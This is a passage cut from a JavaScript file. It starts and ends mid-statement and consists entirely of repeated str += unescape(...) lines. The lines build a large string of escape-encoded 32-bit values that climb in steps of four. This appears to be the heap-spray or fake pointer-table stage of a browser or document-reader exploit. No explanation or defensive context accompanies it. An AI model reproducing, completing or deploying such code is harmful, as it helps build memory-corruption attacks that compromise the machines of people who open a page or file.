unescape(\"%u0000%u66c0%u0000%u66c4%u0000%u66c8%u0000%u66cc%u0000%u66d0%u0000%u66d4%u0000%u66d8%u0000%u66dc%u0000%u66e0%u0000%u66e4%u0000%u66e8%u0000%u66ec%u0000%u66f0%u0000%u66f4%u0000%u66f8%u0000%u66fc\");\n    str    += unescape(\"%u0000%u6700%u0000%u6704%u0000%u6708%u0000%u670c%u0000%u6710%u0000%u6714%u0000%u6718%u0000%u671c%u0000%u6720%u0000%u6724%u0000%u6728%u0000%u672c%u0000%u6730%u0000%u6734%u0000%u6738%u0000%u673c\");\n    str    += unescape(\"%u0000%u6740%u0000%u6744%u0000%u6748%u0000%u674c%u0000%u6750%u0000%u6754%u0000%u6758%u0000%u675c%u0000%u6760%u0000%u6764%u0000%u6768%u0000%u676c%u0000%u6770%u0000%u6774%u0000%u6778%u0000%u677c\");\n    str    += unescape(\"%u0000%u6780%u0000%u6784%u0000%u6788%u0000%u678c%u0000%u6790%u0000%u6794%u0000%u6798%u0000%u679c%u0000%u67a0%u0000%u67a4%u0000%u67a8%u0000%u67ac%u0000%u67b0%u0000%u67b4%u0000%u67b8%u0000%u67bc\");\n    str    += unescape(\"%u0000%u67c0%u0000%u67c4%u0000%u67c8%u0000%u67cc%u0000%u67d0%u0000%u67d4%u0000%u67d8%u0000%u67dc%u0000%u67e0%u0000%u67e4%u0000%u67e8%u0000%u67ec%u0000%u67f0%u0000%u67f4%u0000%u67f8%u0000%u67fc\");\n    str    += unescape(\"%u0000%u6800%u0000%u6804%u0000%u6808%u0000%u680c%u0000%u6810%u0000%u6814%u0000%u6818%u0000%u681c%u0000%u6820%u0000%u6824%u0000%u6828%u0000%u682c%u0000%u6830%u0000%u6834%u0000%u6838%u0000%u683c\");\n    str    += unescape(\"%u0000%u6840%u0000%u6844%u0000%u6848%u0000%u684c%u0000%u6850%u0000%u6854%u0000%u6858%u0000%u685c%u0000%u6860%u0000%u6864%u0000%u6868%u0000%u686c%u0000%u6870%u0000%u6874%u0000%u6878%u0000%u687c\");\n    str    += unescape(\"%u0000%u6880%u0000%u6884%u0000%u6888%u0000%u688c%u0000%u6890%u0000%u6894%u0000%u6898%u0000%u689c%u0000%u68a0%u0000%u68a4%u0000%u68a8%u0000%u68ac%u0000%u68b0%u0000%u68b4%u0000%u68b8%u0000%u68bc\");\n    str    += unescape(\"%u0000%u68c0%u0000%u68c4%u0000%u68c8%u0000%u68cc%u0000%u68d0%u0000%u68d4%u0000%u68d8%u0000%u68dc%u0000%u68e0%u0000%u68e4%u0000%u68e8%u0000%u68ec%u0000%u68f0%u0000%u68f4%u0000%u68f8%u0000%u68fc\");\n    str    += unescape(\"%u0000%u6900%u0000%u6904%u0000%u6908%u0000%u690c%u0000%u6910%u0000%u6914%u0000%u6918%u0000%u691c%u0000%u6920%u0000%u6924%u0000%u6928%u0000%u692c%u0000%u6930%u0000%u6934%u0000%u6938%u0000%u693c\");\n    str    += unescape(\"%u0000%u6940%u0000%u6944%u0000%u6948%u0000%u694c%u0000%u6950%u0000%u6954%u0000%u6958%u0000%u695c%u0000%u6960%u0000%u6964%u0000%u6968%u0000%u696c%u0000%u6970%u0000%u6974%u0000%u6978%u0000%u697c\");\n    str    += unescape(\"%u0000%u6980%u0000%u6984%u0000%u6988%u0000%u698c%u0000%u6990%u0000%u6994%u0000%u6998%u0000%u699c%u0000%u69a0%u0000%u69a4%u0000%u69a8%u0000%u69ac%u0000%u69b0%u0000%u69b4%u0000%u69b8%u0000%u69bc\");\n    str    += unescape(\"%u0000%u69c0%u0000%u69c4%u0000%u69c8%u0000%u69cc%u0000%u69d0%u0000%u69d4%u0000%u69d8%u0000%u69dc%u0000%u69e0%u0000%u69e4%u0000%u69e8%u0000%u69ec%u0000%u69f0%u0000%u69f4%u0000%u69f8%u0000%u69fc\");\n    str    += unescape(\"%u0000%u6a00%u0000%u6a04%u0000%u6a08%u0000%u6a0c%u0000%u6a10%u0000%u6a14%u0000%u6a18%u0000%u6a1c%u0000%u6a20%u0000%u6a24%u0000%u6a28%u0000%u6a2c%u0000%u6a30%u0000%u6a34%u0000%u6a38%u0000%u6a3c\");\n    str    += unescape(\"%u0000%u6a40%u0000%u6a44%u0000%u6a48%u0000%u6a4c%u0000%u6a50%u0000%u6a54%u0000%u6a58%u0000%u6a5c%u0000%u6a60%u0000%u6a64%u0000%u6a68%u0000%u6a6c%u0000%u6a70%u0000%u6a74%u0000%u6a78%u0000%u6a7c\");\n    str    += unescape(\"%u0000%u6a80%u0000%u6a84%u0000%u6a88%u0000%u6a8c%u0000%u6a90%u0000%u6a94%u0000%u6a98%u0000%u6a9c%u0000%u6aa0%u0000%u6aa4%u0000%u6aa8%u0000%u6aac%u0000%u6ab0%u0000%u6ab4%u0000%u6ab8%u0000%u6abc\");\n    str    += unescape(\"%u0000%u6ac0%u0000%u6ac4%u0000%u6ac8%u0000%u6acc%u0000%u6ad0%u0000%u6ad4%u0000%u6ad8%u0000%u6adc%u0000%u6ae0%u0000%u6ae4%u0000%u6ae8%u0000%u6aec%u0000%u6af0%u0000%u6af4%u0000%u6af8%u0000%u6afc\");\n    str    += unescape(\"%u0000%u6b00%u0000%u6b04%u0000%u6b08%u0000%u6b0c%u0000%u6b10%u0000%u6b14%u0000%u6b18%u0000%u6b1c%u0000%u6b20%u0000%u6b24%u0000%u6b28%u0000%u6b2c%u0000%u6b30%u0000%u6b34%u0000%u6b38%u0000%u6b3c\");\n    str    += unescape(\"%u0000%u6b40%u0000%u6b44%u0000%u6b48%u0000%u6b4c%u0000%u6b50%u0000%u6b54%u0000%u6b58%u0000%u6b5c%u0000%u6b60%u0000%u6b64%u0000%u6b68%u0000%u6b6c%u0000%u6b70%u0000%u6b74%u0000%u6b78%u0000%u6b7c\");\n    str    += unescape(\"%u0000%u6b80%u0000%u6b84%u0000%u6b88%u0000%u6b8c%u0000%u6b90%u0000%u6b94%u0000%u6b98%u0000%u6b9c%u0000%u6ba0%u0000%u6ba4%u0000%u6ba8%u0000%u6bac%u0000%u6bb0%u0000%u6bb4%u0000%u6bb8%u0000%u6bbc\");\n    str    += unescape(\"%u0000%u6bc0%u0000%u6bc4%u0000%u6bc8%u0000%u6bcc%u0000%u6bd0%u0000%u6bd4%u0000%u6bd8%u0000%u6bdc%u0000%u6be0%u0000%u6be4%u0000%u6be8%u0000%u6bec%u0000%u6bf0%u0000%u6bf4%u0000%u6bf8%u0000%u6bfc\");\n    str    += unescape(\"%u0000%u6c00%u0000%u6c04%u0000%u6c08%u0000%u6c0c%u0000%u6c10%u0000%u6c14%u0000%u6c18%u0000%u6c1c%u0000%u6c20%u0000%u6c24%u0000%u6c28%u0000%u6c2c%u0000%u6c30%u0000%u6c34%u0000%u6c38%u0000%u6c3c\");\n    str    += unescape(\"%u0000%u6c40%u0000%u6c44%u0000%u6c48%u0000%u6c4c%u0000%u6c50%u0000%u6c54%u0000%u6c58%u0000%u6c5c%u0000%u6c60%u0000%u6c64%u0000%u6c68%u0000%u6c6c%u0000%u6c70%u0000%u6c74%u0000%u6c78%u0000%u6c7c\");\n    str    += unescape(\"%u0000%u6c80%u0000%u6c84%u0000%u6c88%u0000%u6c8c%u0000%u6c90%u0000%u6c94%u0000%u6c98%u0000%u6c9c%u0000%u6ca0%u0000%u6ca4%u0000%u6ca8%u0000%u6cac%u0000%u6cb0%u0000%u6cb4%u0000%u6cb8%u0000%u6cbc\");\n    str    += unescape(\"%u0000%u6cc0%u0000%u6cc4%u0000%u6cc8%u0000%u6ccc%u0000%u6cd0%u0000%u6cd4%u0000%u6cd8%u0000%u6cdc%u0000%u6ce0%u0000%u6ce4%u0000%u6ce8%u0000%u6cec%u0000%u6cf0%u0000%u6cf4%u0000%u6cf8%u0000%u6cfc\");\n    str    += unescape(\"%u0000%u6d00%u0000%u6d04%u0000%u6d08%u0000%u6d0c%u0000%u6d10%u0000%u6d14%u0000%u6d18%u0000%u6d1c%u0000%u6d20%u0000%u6d24%u0000%u6d28%u0000%u6d2c%u0000%u6d30%u0000%u6d34%u0000%u6d38%u0000%u6d3c\");\n    str    += unescape(\"%u0000%u6d40%u0000%u6d44%u0000%u6d48%u0000%u6d4c%u0000%u6d50%u0000%u6d54%u0000%u6d58%u0000%u6d5c%u0000%u6d60%u0000%u6d64%u0000%u6d68%u0000%u6d6c%u0000%u6d70%u0000%u6d74%u0000%u6d78%u0000%u6d7c\");\n    str    += unescape(\"%u0000%u6d80%u0000%u6d84%u0000%u6d88%u0000%u6d8c%u0000%u6d90%u0000%u6d94%u0000%u6d98%u0000%u6d9c%u0000%u6da0%u0000%u6da4%u0000%u6da8%u0000%u6dac%u0000%u6db0%u0000%u6db4%u0000%u6db8%u0000%u6dbc\");\n    str    += unescape(\"%u0000%u6dc0%u0000%u6dc4%u0000%u6dc8%u0000%u6dcc%u0000%u6dd0%u0000%u6dd4%u0000%u6dd8%u0000%u6ddc%u0000%u6de0%u0000%u6de4%u0000%u6de8%u0000%u6dec%u0000%u6df0%u0000%u6df4%u0000%u6df8%u0000%u6dfc\");\n    str    += unescape(\"%u0000%u6e00%u0000%u6e04%u0000%u6e08%u0000%u6e0c%u0000%u6e10%u0000%u6e14%u0000%u6e18%u0000%u6e1c%u0000%u6e20%u0000%u6e24%u0000%u6e28%u0000%u6e2c%u0000%u6e30%u0000%u6e34%u0000%u6e38%u0000%u6e3c\");\n    str    += unescape(\"%u0000%u6e40%u0000%u6e44%u0000%u6e48%u0000%u6e4c%u0000%u6e50%u0000%u6e54%u0000%u6e58%u0000%u6e5c%u0000%u6e60%u0000%u6e64%u0000%u6e68%u0000%u6e6c%u0000%u6e70%u0000%u6e74%u0000%u6e78%u0000%u6e7c\");\n    str    += unescape(\"%u0000%u6e80%u0000%u6e84%u0000%u6e88%u0000%u6e8c%u0000%u6e90%u0000%u6e94%u0000%u6e98%u0000%u6e9c%u0000%u6ea0%u0000%u6ea4%u0000%u6ea8%u0000%u6eac%u0000%u6eb0%u0000%u6eb4%u0000%u6eb8%u0000%u6ebc\");\n    str    += unescape(\"%u0000%u6ec0%u0000%u6ec4%u0000%u6ec8%u0000%u6ecc%u0000%u6ed0%u0000%u6ed4%u0000%u6ed8%u0000%u6edc%u0000%u6ee0%u0000%u6ee4%u0000%u6ee8%u0000%u6eec%u0000%u6ef0%u0000%u6ef4%u0000%u6ef8%u0000%u6efc\");\n    str    += unescape(\"%u0000%u6f00%u0000%u6f04%u0000%u6f08%u0000%u6f0c%u0000%u6f10%u0000%u6f14%u0000%u6f18%u0000%u6f1c%u0000%u6f20%u0000%u6f24%u0000%u6f28%u0000%u6f2c%u0000%u6f30%u0000%u6f34%u0000%u6f38%u0000%u6f3c\");\n    str    += unescape(\"%u0000%u6f40%u0000%u6f44%u0000%u6f48%u0000%u6f4c%u0000%u6f50%u0000%u6f54%u0000%u6f58%u0000%u6f5c%u0000%u6f60%u0000%u6f64%u0000%u6f68%u0000%u6f6c%u0000%u6f70%u0000%u6f74%u0000%u6f78%u0000%u6f7c\");\n    str    += unescape(\"%u0000%u6f80%u0000%u6f84%u0000%u6f88%u0000%u6f8c%u0000%u6f90%u0000%u6f94%u0000%u6f98%u0000%u6f9c%u0000%u6fa0%u0000%u6fa4%u0000%u6fa8%u0000%u6fac%u0000%u6fb0%u0000%u6fb4%u0000%u6fb8%u0000%u6fbc\");\n    str    += unescape(\"%u0000%u6fc0%u0000%u6fc4%u0000%u6fc8%u0000%u6fcc%u0000%u6fd0%u0000%u6fd4%u0000%u6fd8%u0000%u6fdc%u0000%u6fe0%u0000%u6fe4%u0000%u6fe8%u0000%u6fec%u0000%u6ff0%u0000%u6ff4%u0000%u6ff8%u0000%u6ffc\");\n    str    += unescape(\"%u0000%u7000%u0000%u7004%u0000%u7008%u0000%u700c%u0000%u7010%u0000%u7014%u0000%u7018%u0000%u701c%u0000%u7020%u0000%u7024%u0000%u7028%u0000%u702c%u0000%u7030%u0000%u7034%u0000%u7038%u0000%u703c\");\n    str    += unescape(\"%u0000%u7040%u0000%u7044%u0000%u7048%u0000%u704c%u0000%u7050%u0000%u7054%u0000%u7058%u0000%u705c%u0000%u7060%u0000%u7064%u0000%u7068%u0000%u706c%u0000%u7070%u0000%u7074%u0000%u7078%u0000%u707c\");\n    str    += unescape(\"%u0000%u7080%u0000%u7084%u0000%u7088%u0000%u708c%u0000%u7090%u0000%u7094%u0000%u7098%u0000%u709c%u0000%u70a0%u0000%u70a4%u0000%u70a8%u0000%u70ac%u0000%u70b0%u0000%u70b4%u0000%u70b8%u0000%u70bc\");\n    str    += unescape(\"%u0000%u70c0%u0000%u70c4%u0000%u70c8%u0000%u70cc%u0000%u70d0%u0000%u70d4%u0000%u70d8%u0000%u70dc%u0000%u70e0%u0000%u70e4%u0000%u70e8%u0000%u70ec%u0000%u70f0%u0000%u70f4%u0000%u70f8%u0000%u70fc\");\n    str    += unescape(\"%u0000%u7100%u0000%u7104%u0000%u7108%u0000%u710c%u0000%u7110%u0000%u7114%u0000%u7118%u0000%u711c%u0000%u7120%u0000%u7124%u0000%u7128%u0000%u712c%u0000%u7130%u0000%u7134%u0000%u7138%u0000%u713c\");\n    str    += unescape(\"%u0000%u7140%u0000%u7144%u0000%u7148%u0000%u714c%u0000%u7150%u0000%u7154%u0000%u7158%u0000%u715c%u0000%u7160%u0000%u7164%u0000%u7168%u0000%u716c%u0000%u7170%u0000%u7174%u0000%u7178%u0000%u717c\");\n    str    += unescape(\"%u0000%u7180%u0000%u7184%u0000%u7188%u0000%u718c%u0000%u7190%u0000%u7194%u0000%u7198%u0000%u719c%u0000%u71a0%u0000%u71a4%u0000%u71a8%u0000%u71ac%u0000%u71b0%u0000%u71b4%u0000%u71b8%u0000%u71bc\");\n    str    += unescape(\"%u0000%u71c0%u0000%u71c4%u0000%u71c8%u0000%u71cc%u0000%u71d0%u0000%u71d4%u0000%u71d8%u0000%u71dc%u0000%u71e0%u0000%u71e4%u0000%u71e8%u0000%u71ec%u0000%u71f0%u0000%u71f4%u0000%u71f8%u0000%u71fc\");\n    str    += unescape(\"%u0000%u7200%u0000%u7204%u0000%u7208%u0000%u720c%u0000%u7210%u0000%u7214%u0000%u7218%u0000%u721c%u0000%u7220%u0000%u7224%u0000%u7228%u0000%u722c%u0000%u7230%u0000%u7234%u0000%u7238%u0000%u723c\");\n    str    += unescape(\"%u0000%u7240%u0000%u7244%u0000%u7248%u0000%u724c%u0000%u7250%u0000%u7254%u0000%u7258%u0000%u725c%u0000%u7260%u0000%u7264%u0000%u7268%u0000%u726c%u0000%u7270%u0000%u7274%u0000%u7278%u0000%u727c\");\n    str    += unescape(\"%u0000%u7280%u0000%u7284%u0000%u7288%u0000%u728c%u0000%u7290%u0000%u7294%u0000%u7298%u0000%u729c%u0000%u72a0%u0000%u72a4%u0000%u72a8%u0000%u72ac%u0000%u72b0%u0000%u72b4%u0000%u72b8%u0000%u72bc\");\n    str    += unescape(\"%u0000%u72c0%u0000%u72c4%u0000%u72c8%u0000%u72cc%u0000%u72d0%u0000%u72d4%u0000%u72d8%u0000%u72dc%u0000%u72e0%u0000%u72e4%u0000%u72e8%u0000%u72ec%u0000%u72f0%u0000%u72f4%u0000%u72f8%u0000%u72fc\");\n    str    += unescape(\"%u0000%u7300%u0000%u7304%u0000%u7308%u0000%u730c%u0000%u7310%u0000%u7314%u0000%u7318%u0000%u731c%u0000%u7320%u0000%u7324%u0000%u7328%u0000%u732c%u0000%u7330%u0000%u7334%u0000%u7338%u0000%u733c\");\n    str    += unescape(\"%u0000%u7340%u0000%u7344%u0000%u7348%u0000%u734c%u0000%u7350%u0000%u7354%u0000%u7358%u0000%u735c%u0000%u7360%u0000%u7364%u0000%u7368%u0000%u736c%u0000%u7370%u0000%u7374%u0000%u7378%u0000%u737c\");\n    str    += unescape(\"%u0000%u7380%u0000%u7384%u0000%u7388%u0000%u738c%u0000%u7390%u0000%u7394%u0000%u7398%u0000%u739c%u0000%u73a0%u0000%u73a4%u0000%u73a8%u0000%u73ac%u0000%u73b0%u0000%u73b4%u0000%u73b8%u0000%u73bc\");\n    str    += unescape(\"%u0000%u73c0%u0000%u73c4%u0000%u73c8%u0000%u73cc%u0000%u73d0%u0000%u73d4%u0000%u73d8%u0000%u73dc%u0000%u73e0%u0000%u73e4%u0000%u73e8%u0000%u73ec%u0000%u73f0%u0000%u73f4%u0000%u73f8%u0000%u73fc\");\n    str    += unescape(\"%u0000%u7400%u0000%u7404%u0000%u7408%u0000%u740c%u0000%u7410%u0000%u7414%u0000%u7418%u0000%u741c%u0000%u7420%u0000%u7424%u0000%u7428%u0000%u742c%u0000%u7430%u0000%u7434%u0000%u7438%u0000%u743c\");\n    str    += unescape(\"%u0000%u7440%u0000%u7444%u0000%u7448%u0000%u744c%u0000%u7450%u0000%u7454%u0000%u7458%u0000%u745c%u0000%u7460%u0000%u7464%u0000%u7468%u0000%u746c%u0000%u7470%u0000%u7474%u0000%u7478%u0000%u747c\");\n    str    += unescape(\"%u0000%u7480%u0000%u7484%u0000%u7488%u0000%u748c%u0000%u7490%u0000%u7494%u0000%u7498%u0000%u749c%u0000%u74a0%u0000%u74a4%u0000%u74a8%u0000%u74ac%u0000%u74b0%u0000%u74b4%u0000%u74b8%u0000%u74bc\");\n    str    += unescape(\"%u0000%u74c0%u0000%u74c4%u0000%u74c8%u0000%u74cc%u0000%u74d0%u0000%u74d4%u0000%u74d8%u0000%u74dc%u0000%u74e0%u0000%u74e4%u0000%u74e8%u0000%u74ec%u0000%u74f0%u0000%u74f4%u0000%u74f8%u0000%u74fc\");\n    str    += unescape(\"%u0000%u7500%u0000%u7504%u0000%u7508%u0000%u750c%u0000%u7510%u0000%u7514%u0000%u7518%u0000%u751c%u0000%u7520%u0000%u7524%u0000%u7528%u0000%u752c%u0000%u7530%u0000%u7534%u0000%u7538%u0000%u753c\");\n    str    += unescape(\"%u0000%u7540%u0000%u7544%u0000%u7548%u0000%u754c%u0000%u7550%u0000%u7554%u0000%u7558%u0000%u755c%u0000%u7560%u0000%u7564%u0000%u7568%u0000%u756c%u0000%u7570%u0000%u7574%u0000%u7578%u0000%u757c\");\n    str    += unescape(\"%u0000%u7580%u0000%u7584%u0000%u7588%u0000%u758c%u0000%u7590%u0000%u7594%u0000%u7598%u0000%u759c%u0000%u75a0%u0000%u75a4%u0000%u75a8%u0000%u75ac%u0000%u75b0%u0000%u75b4%u0000%u75b8%u0000%u75bc\");\n    str    += unescape(\"%u0000%u75c0%u0000%u75c4%u0000%u75c8%u0000%u75cc%u0000%u75d0%u0000%u75d4%u0000%u75d8%u0000%u75dc%u0000%u75e0%u0000%u75e4%u0000%u75e8%u0000%u75ec%u0000%u75f0%u0000%u75f4%u0000%u75f8%u0000%u75fc\");\n    str    += unescape(\"%u0000%u7600%u0000%u7604%u0000%u7608%u0000%u760c%u0000%u7610%u0000%u7614%u0000%u7618%u0000%u761c%u0000%u7620%u0000%u7624%u0000%u7628%u0000%u762c%u0000%u7630%u0000%u7634%u0000%u7638%u0000%u763c\");\n    str    += unescape(\"%u0000%u7640%u0000%u7644%u0000%u7648%u0000%u764c%u0000%u7650%u0000%u7654%u0000%u7658%u0000%u765c%u0000%u7660%u0000%u7664%u0000%u7668%u0000%u766c%u0000%u7670%u0000%u7674%u0000%u7678%u0000%u767c\");\n    str    += unescape(\"%u0000%u7680%u0000%u7684%u0000%u7688%u0000%u768c%u0000%u7690%u0000%u7694%u0000%u7698%u0000%u769c%u0000%u76a0%u0000%u76a4%u0000%u76a8%u0000%u76ac%u0000%u76b0%u0000%u76b4%u0000%u76b8%u0000%u76bc\");\n    str    += unescape(\"%u0000%u76c0%u0000%u76c4%u0000%u76c8%u0000%u76cc%u0000%u76d0%u0000%u76d4%u0000%u76d8%u0000%u76dc%u0000%u76e0%u0000%u76e4%u0000%u76e8%u0000%u76ec%u0000%u76f0%u0000%u76f4%u0000%u76f8%u0000%u76fc\");\n    str    += unescape(\"%u0000%u7700%u0000%u7704%u0000%u7708%u0000%u770c%u0000%u7710%u0000%u7714%u0000%u7718%u0000%u771c%u0000%u7720%u0000%u7724%u0000%u7728%u0000%u772c%u0000%u7730%u0000%u7734%u0000%u7738%u0000%u773c\");\n    str    += unescape(\"%u0000%u7740%u0000%u7744%u0000%u7748%u0000%u774c%u0000%u7750%u0000%u7754%u0000%u7758%u0000%u775c%u0000%u7760%u0000%u7764%u0000%u7768%u0000%u776c%u0000%u7770%u0000%u7774%u0000%u7778%u0000%u777c\");\n    str    += unescape(\"%u0000%u7780%u0000%u7784%u0000%u7788%u0000%u778c%u0000%u7790%u0000%u7794%u0000%u7798%u0000%u779c%u0000%u77a0%u0000%u77a4%u0000%u77a8%u0000%u77ac%u0000%u77b0%u0000%u77b4%u0000%u77b8%u0000%u77bc\");\n    str    += unescape(\"%u0000%u77c0%u0000%u77c4%u0000%u77c8%u0000%u77cc%u0000%u77d0%u0000%u77d4%u0000%u77d8%u0000%u77dc%u0000%u77e0%u0000%u77e4%u0000%u77e8%u0000%u77ec%u0000%u77f0%u0000%u77f4%u0000%u77f8%u0000%u77fc\");\n    str    += unescape(\"%u0000%u7800%u0000%u7804%u0000%u7808%u0000%u780c%u0000%u7810%u0000%u7814%u0000%u7818%u0000%u781c%u0000%u7820%u0000%u7824%u0000%u7828%u0000%u782c%u0000%u7830%u0000%u7834%u0000%u7838%u0000%u783c\");\n    str    += unescape(\"%u0000%u7840%u0000%u7844%u0000%u7848%u0000%u784c%u0000%u7850%u0000%u7854%u0000%u7858%u0000%u785c%u0000%u7860%u0000%u7864%u0000%u7868%u0000%u786c%u0000%u7870%u0000%u7874%u0000%u7878%u0000%u787c\");\n    str    += unescape(\"%u0000%u7880%u0000%u7884%u0000%u7888%u0000%u788c%u0000%u7890%u0000%u7894%u0000%u7898%u0000%u789c%u0000%u78a0%u0000%u78a4%u0000%u78a8%u0000%u78ac%u0000%u78b0%u0000%u78b4%u0000%u78b8%u0000%u78bc\");\n    str    += unescape(\"%u0000%u78c0%u0000%u78c4%u0000%u78c8%u0000%u78cc%u0000%u78d0%u0000%u78d4%u0000%u78d8%u0000%u78dc%u0000%u78e0%u0000%u78e4%u0000%u78e8%u0000%u78ec%u0000%u78f0%u0000%u78f4%u0000%u78f8%u0000%u78fc\");\n    str    += unescape(\"%u0000%u7900%u0000%u7904%u0000%u7908%u0000%u790c%u0000%u7910%u0000%u7914%u0000%u7918%u0000%u791c%u0000%u7920%u0000%u7924%u0000%u7928%u0000%u792c%u0000%u7930%u0000%u7934%u0000%u7938%u0000%u793c\");\n    str    += unescape(\"%u0000%u7940%u0000%u7944%u0000%u7948%u0000%u794c%u0000%u7950%u0000%u7954%u0000%u7958%u0000%u795c%u0000%u7960%u0000%u7964%u0000%u7968%u0000%u796c%u0000%u7970%u0000%u7974%u0000%u7978%u0000%u797c\");\n    str    += unescape(\"%u0000%u7980%u0000%u7984%u0000%u7988%u0000%u798c%u0000%u7990%u0000%u7994%u0000%u7998%u0000%u799c%u0000%u79a0%u0000%u79a4%u0000%u79a8%u0000%u79ac%u0000%u79b0%u0000%u79b4%u0000%u79b8%u0000%u79bc\");\n    str    += unescape(\"%u0000%u79c0%u0000%u79c4%u0000%u79c8%u0000%u79cc%u0000%u79d0%u0000%u79d4%u0000%u79d8%u0000%u79dc%u0000%u79e0%u0000%u79e4%u0000%u79e8%u0000%u79ec%u0000%u79f0%u0000%u79f4%u0000%u79f8%u0000%u79fc\");\n    str    += unescape(\"%u0000%u7a00%u0000%u7a04%u0000%u7a08%u0000%u7a0c%u0000%u7a10%u0000%u7a14%u0000%u7a18%u0000%u7a1c%u0000%u7a20%u0000%u7a24%u0000%u7a28%u0000%u7a2c%u0000%u7a30%u0000%u7a34%u0000%u7a38%u0000%u7a3c\");\n    str    += unescape(\"%u0000%u7a40%u0000%u7a44%u0000%u7a48%u0000%u7a4c%u0000%u7a50%u0000%u7a54%u0000%u7a58%u0000%u7a5c%u0000%u7a60%u0000%u7a64%u0000%u7a68%u0000%u7a6c%u0000%u7a70%u0000%u7a74%u0000%u7a78%u0000%u7a7c\");\n    str    += unescape(\"%u0000%u7a80%u0000%u7a84%u0000%u7a88%u0000%u7a8c%u0000%u7a90%u0000%u7a94%u0000%u7a98%u0000%u7a9c%u0000%u7aa0%u0000%u7aa4%u0000%u7aa8%u0000%u7aac%u0000%u7ab0%u0000%u7ab4%u0000%u7ab8%u0000%u7abc\");\n    str    += unescape(\"%u0000%u7ac0%u0000%u7ac4%u0000%u7ac8%u0000%u7acc%u0000%u7ad0%u0000%u7ad4%u0000%u7ad8%u0000%u7adc%u0000%u7ae0%u0000%u7ae4%u0000%u7ae8%u0000%u7aec%u0000%u7af0%u0000%u7af4%u0000%u7af8%u0000%u7afc\");\n    str    += unescape(\"%u0000%u7b00%u0000%u7b04%u0000%u7b08%u0000%u7b0c%u0000%u7b10%u0000%u7b14%u0000%u7b18%u0000%u7b1c%u0000%u7b20%u0000%u7b24%u0000%u7b28%u0000%u7b2c%u0000%u7b30%u0000%u7b34%u0000%u7b38%u0000%u7b3c\");\n    str    += unescape(\"%u0000%u7b40%u0000%u7b44%u0000%u7b48%u0000%u7b4c%u0000%u7b50%u0000%u7b54%u0000%u7b58%u0000%u7b5c%u0000%u7b60%u0000%u7b64%u0000%u7b68%u0000%u7b6c%u0000%u7b70%u0000%u7b74%u0000%u7b78%u0000%u7b7c\");\n    str    += unescape(\"%u0000%u7b80%u0000%u7b84%u0000%u7b88%u0000%u7b8c%u0000%u7b90%u0000%u7b94%u0000%u7b98%u0000%u7b9c%u0000%u7ba0%u0000%u7ba4%u0000%u7ba8%u0000%u7bac%u0000%u7bb0%u0000%u7bb4%u0000%u7bb8%u0000%u7bbc\");\n    str    += unescape(\"%u0000%u7bc0%u0000%u7bc4%u0000%u7bc8%u0000%u7bcc%u0000%u7bd0%u0000%u7bd4%u0000%u7bd8%u0000%u7bdc%u0000%u7be0%u0000%u7be4%u0000%u7be8%u0000%u7bec%u0000%u7bf0%u0000%u7bf4%u0000%u7bf8%u0000%u7bfc\");\n    str    += unescape(\"%u0000%u7c00%u0000%u7c04%u0000%u7c08%u0000%u7c0c%u0000%u7c10%u0000%u7c14%u0000%u7c18%u0000%u7c1c%u0000%u7c20%u0000%u7c24%u0000%u7c28%u0000%u7c2c%u0000%u7c30%u0000%u7c34%u0000%u7c38%u0000%u7c3c\");\n    str    += unescape(\"%u0000%u7c40%u0000%u7c44%u0000%u7c48%u0000%u7c4c%u0000%u7c50%u0000%u7c54%u0000%u7c58%u0000%u7c5c%u0000%u7c60%u0000%u7c64%u0000%u7c68%u0000%u7c6c%u0000%u7c70%u0000%u7c74%u0000%u7c78%u0000%u7c7c\");\n    str    += unescape(\"%u0000%u7c80%u0000%u7c84%u0000%u7c88%u0000%u7c8c%u0000%u7c90%u0000%u7c94%u0000%u7c98%u0000%u7c9c%u0000%u7ca0%u0000%u7ca4%u0000%u7ca8%u0000%u7cac%u0000%u7cb0%u0000%u7cb4%u0000%u7cb8%u0000%u7cbc\");\n    str    += unescape(\"%u0000%u7cc0%u0000%u7cc4%u0000%u7cc8%u0000%u7ccc%u0000%u7cd0%u0000%u7cd4%u0000%u7cd8%u0000%u7cdc%u0000%u7ce0%u0000%u7ce4%u0000%u7ce8%u0000%u7cec%u0000%u7cf0%u0000%u7cf4%u0000%u7cf8%u0000%u7cfc\");\n    str    += unescape(\"%u0000%u7d00%u0000%u7d04%u0000%u7d08%u0000%u7d0c%u0000%u7d10%u0000%u7d14%u0000%u7d18%u0000%u7d1c%u0000%u7d20%u0000%u7d24%u0000%u7d28%u0000%u7d2c%u0000%u7d30%u0000%u7d34%u0000%u7d38%u0000%u7d3c\");\n    str    += unescape(\"%u0000%u7d40%u0000%u7d44%u0000%u7d48%u0000%u7d4c%u0000%u7d50%u0000%u7d54%u0000%u7d58%u0000%u7d5c%u0000%u7d60%u0000%u7d64%u0000%u7d68%u0000%u7d6c%u0000%u7d70%u0000%u7d74%u0000%u7d78%u0000%u7d7c\");\n    str    += unescape(\"%u0000%u7d80%u0000%u7d84%u0000%u7d88%u0000%u7d8c%u0000%u7d90%u0000%u7d94%u0000%u7d98%u0000%u7d9c%u0000%u7da0%u0000%u7da4%u0000%u7da8%u0000%u7dac%u0000%u7db0%u0000%u7db4%u0000%u7db8%u0000%u7dbc\");\n    str    += unescape(\"%u0000%u7dc0%u0000%u7dc4%u0000%u7dc8%u0000%u7dcc%u0000%u7dd0%u0000%u7dd4%u0000%u7dd8%u0000%u7ddc%u0000%u7de0%u0000%u7de4%u0000%u7de8%u0000%u7dec%u0000%u7df0%u0000%u7df4%u0000%u7df8%u0000%u7dfc\");\n    str    += unescape(\"%u0000%u7e00%u0000%u7e04%u0000%u7e08%u0000%u7e0c%u0000%u7e10%u0000%u7e14%u0000%u7e18%u0000%u7e1c%u0000%u7e20%u0000%u7e24%u0000%u7e28%u0000%u7e2c%u0000%u7e30%u0000%u7e34%u0000%u7e38%u0000%u7e3c\");\n    str    += unescape(\"%u0000%u7e40%u0000%u7e44%u0000%u7e48%u0000%u7e4c%u0000%u7e50%u0000%u7e54%u0000%u7e58%u0000%u7e5c%u0000%u7e60%u0000%u7e64%u0000%u7e68%u0000%u7e6c%u0000%u7e70%u0000%u7e74%u0000%u7e78%u0000%u7e7c\");\n    str    += unescape(\"%u0000%u7e80%u0000%u7e84%u0000%u7e88%u0000%u7e8c%u0000%u7e90%u0000%u7e94%u0000%u7e98%u0000%u7e9c%u0000%u7ea0%u0000%u7ea4%u0000%u7ea8%u0000%u7eac%u0000%u7eb0%u0000%u7eb4%u0000%u7eb8%u0000%u7ebc\");\n    str    += 